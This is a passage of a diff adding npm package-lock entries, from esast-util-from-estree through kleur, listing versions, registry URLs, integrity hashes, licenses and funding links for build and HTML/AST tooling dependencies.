+ "node_modules/esast-util-from-estree": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/esast-util-from-estree/-/esast-util-from-estree-2.0.0.tgz",
+ "integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-visit": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/esast-util-from-js": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/esast-util-from-js/-/esast-util-from-js-2.0.1.tgz",
+ "integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "acorn": "^8.0.0",
+ "esast-util-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/esbuild": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
+ "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.25.12",
+ "@esbuild/android-arm": "0.25.12",
+ "@esbuild/android-arm64": "0.25.12",
+ "@esbuild/android-x64": "0.25.12",
+ "@esbuild/darwin-arm64": "0.25.12",
+ "@esbuild/darwin-x64": "0.25.12",
+ "@esbuild/freebsd-arm64": "0.25.12",
+ "@esbuild/freebsd-x64": "0.25.12",
+ "@esbuild/linux-arm": "0.25.12",
+ "@esbuild/linux-arm64": "0.25.12",
+ "@esbuild/linux-ia32": "0.25.12",
+ "@esbuild/linux-loong64": "0.25.12",
+ "@esbuild/linux-mips64el": "0.25.12",
+ "@esbuild/linux-ppc64": "0.25.12",
+ "@esbuild/linux-riscv64": "0.25.12",
+ "@esbuild/linux-s390x": "0.25.12",
+ "@esbuild/linux-x64": "0.25.12",
+ "@esbuild/netbsd-arm64": "0.25.12",
+ "@esbuild/netbsd-x64": "0.25.12",
+ "@esbuild/openbsd-arm64": "0.25.12",
+ "@esbuild/openbsd-x64": "0.25.12",
+ "@esbuild/openharmony-arm64": "0.25.12",
+ "@esbuild/sunos-x64": "0.25.12",
+ "@esbuild/win32-arm64": "0.25.12",
+ "@esbuild/win32-ia32": "0.25.12",
+ "@esbuild/win32-x64": "0.25.12"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz",
+ "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/estree-util-attach-comments": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-3.0.0.tgz",
+ "integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-build-jsx": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-3.0.1.tgz",
+ "integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "estree-walker": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-is-identifier-name": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz",
+ "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==",
+ "license": "MIT",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-scope": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/estree-util-scope/-/estree-util-scope-1.0.1.tgz",
+ "integrity": "sha512-B0np3dcdxqILX5e9nEi5/Fr4K7gL4oYFVPV1zRa2e9wRCbQoZZNWOZFYyoInvXUPJXBXjss+QXlWLJChDEHDkA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-to-js": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-2.0.0.tgz",
+ "integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "astring": "^1.8.0",
+ "source-map": "^0.7.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-visit": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-2.0.0.tgz",
+ "integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-walker": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+ "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0"
+ }
+ },
+ "node_modules/eventemitter3": {
+ "version": "5.0.4",
+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz",
+ "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==",
+ "license": "MIT"
+ },
+ "node_modules/extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
+ "license": "MIT"
+ },
+ "node_modules/fdir": {
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "peerDependencies": {
+ "picomatch": "^3 || ^4"
+ },
+ "peerDependenciesMeta": {
+ "picomatch": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/flattie": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/flattie/-/flattie-1.1.1.tgz",
+ "integrity": "sha512-9UbaD6XdAL97+k/n+N7JwX46K/M6Zc6KcFYskrYL8wbBV/Uyk0CTAMY0VT+qiK5PM7AIc9aTWYtq65U7T+aCNQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/fontace": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/fontace/-/fontace-0.4.1.tgz",
+ "integrity": "sha512-lDMvbAzSnHmbYMTEld5qdtvNH2/pWpICOqpean9IgC7vUbUJc3k+k5Dokp85CegamqQpFbXf0rAVkbzpyTA8aw==",
+ "license": "MIT",
+ "dependencies": {
+ "fontkitten": "^1.0.2"
+ }
+ },
+ "node_modules/fontkitten": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/fontkitten/-/fontkitten-1.0.3.tgz",
+ "integrity": "sha512-Wp1zXWPVUPBmfoa3Cqc9ctaKuzKAV6uLstRqlR56kSjplf5uAce+qeyYym7F+PHbGTk+tCEdkCW6RD7DX/gBZw==",
+ "license": "MIT",
+ "dependencies": {
+ "tiny-inflate": "^1.0.3"
+ },
+ "engines": {
+ "node": ">=20"
+ }
+ },
+ "node_modules/fsevents": {
+ "version": "2.3.3",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/get-east-asian-width": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz",
+ "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/github-slugger": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-2.0.0.tgz",
+ "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==",
+ "license": "ISC"
+ },
+ "node_modules/h3": {
+ "version": "1.15.11",
+ "resolved": "https://registry.npmjs.org/h3/-/h3-1.15.11.tgz",
+ "integrity": "sha512-L3THSe2MPeBwgIZVSH5zLdBBU90TOxarvhK9d04IDY2AmVS8j2Jz2LIWtwsGOU3lu2I5jCN7FNvVfY2+XyF+mg==",
+ "license": "MIT",
+ "dependencies": {
+ "cookie-es": "^1.2.3",
+ "crossws": "^0.3.5",
+ "defu": "^6.1.6",
+ "destr": "^2.0.5",
+ "iron-webcrypto": "^1.2.1",
+ "node-mock-http": "^1.0.4",
+ "radix3": "^1.1.2",
+ "ufo": "^1.6.3",
+ "uncrypto": "^0.1.3"
+ }
+ },
+ "node_modules/hast-util-from-html": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-2.0.3.tgz",
+ "integrity": "sha512-CUSRHXyKjzHov8yKsQjGOElXy/3EKpyX56ELnkHH34vDVw1N1XSQ1ZcAvTyAPtGqLTuKP/uxM+aLkSPqF/EtMw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "devlop": "^1.1.0",
+ "hast-util-from-parse5": "^8.0.0",
+ "parse5": "^7.0.0",
+ "vfile": "^6.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-from-parse5": {
+ "version": "8.0.3",
+ "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.3.tgz",
+ "integrity": "sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "devlop": "^1.0.0",
+ "hastscript": "^9.0.0",
+ "property-information": "^7.0.0",
+ "vfile": "^6.0.0",
+ "vfile-location": "^5.0.0",
+ "web-namespaces": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-is-element": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz",
+ "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-parse-selector": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz",
+ "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-raw": {
+ "version": "9.1.0",
+ "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz",
+ "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "hast-util-from-parse5": "^8.0.0",
+ "hast-util-to-parse5": "^8.0.0",
+ "html-void-elements": "^3.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "parse5": "^7.0.0",
+ "unist-util-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-estree": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-3.1.3.tgz",
+ "integrity": "sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-attach-comments": "^3.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "hast-util-whitespace": "^3.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "style-to-js": "^1.0.0",
+ "unist-util-position": "^5.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-html": {
+ "version": "9.0.5",
+ "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz",
+ "integrity": "sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "ccount": "^2.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "hast-util-whitespace": "^3.0.0",
+ "html-void-elements": "^3.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "stringify-entities": "^4.0.0",
+ "zwitch": "^2.0.4"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-jsx-runtime": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz",
+ "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "hast-util-whitespace": "^3.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "style-to-js": "^1.0.0",
+ "unist-util-position": "^5.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-parse5": {
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.1.tgz",
+ "integrity": "sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-text": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/hast-util-to-text/-/hast-util-to-text-4.0.2.tgz",
+ "integrity": "sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "hast-util-is-element": "^3.0.0",
+ "unist-util-find-after": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-whitespace": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",
+ "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hastscript": {
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-9.0.1.tgz",
+ "integrity": "sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "hast-util-parse-selector": "^4.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/html-escaper": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-3.0.3.tgz",
+ "integrity": "sha512-RuMffC89BOWQoY0WKGpIhn5gX3iI54O6nRA0yC124NYVtzjmFWBIiFd8M0x+ZdX0P9R4lADg1mgP8C7PxGOWuQ==",
+ "license": "MIT"
+ },
+ "node_modules/html-void-elements": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz",
+ "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/http-cache-semantics": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",
+ "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==",
+ "license": "BSD-2-Clause"
+ },
+ "node_modules/import-meta-resolve": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/import-meta-resolve/-/import-meta-resolve-4.2.0.tgz",
+ "integrity": "sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/inline-style-parser": {
+ "version": "0.2.7",
+ "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.7.tgz",
+ "integrity": "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==",
+ "license": "MIT"
+ },
+ "node_modules/iron-webcrypto": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/iron-webcrypto/-/iron-webcrypto-1.2.1.tgz",
+ "integrity": "sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/brc-dd"
+ }
+ },
+ "node_modules/is-alphabetical": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz",
+ "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-alphanumerical": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",
+ "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",
+ "license": "MIT",
+ "dependencies": {
+ "is-alphabetical": "^2.0.0",
+ "is-decimal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-decimal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz",
+ "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-docker": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz",
+ "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==",
+ "license": "MIT",
+ "bin": {
+ "is-docker": "cli.js"
+ },
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-hexadecimal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",
+ "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-inside-container": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz",
+ "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==",
+ "license": "MIT",
+ "dependencies": {
+ "is-docker": "^3.0.0"
+ },
+ "bin": {
+ "is-inside-container": "cli.js"
+ },
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-plain-obj": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz",
+ "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-wsl": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz",
+ "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==",
+ "license": "MIT",
+ "dependencies": {
+ "is-inside-container": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/js-yaml": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz",
+ "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/puzrin"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/nodeca"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^2.0.1"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/kleur": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
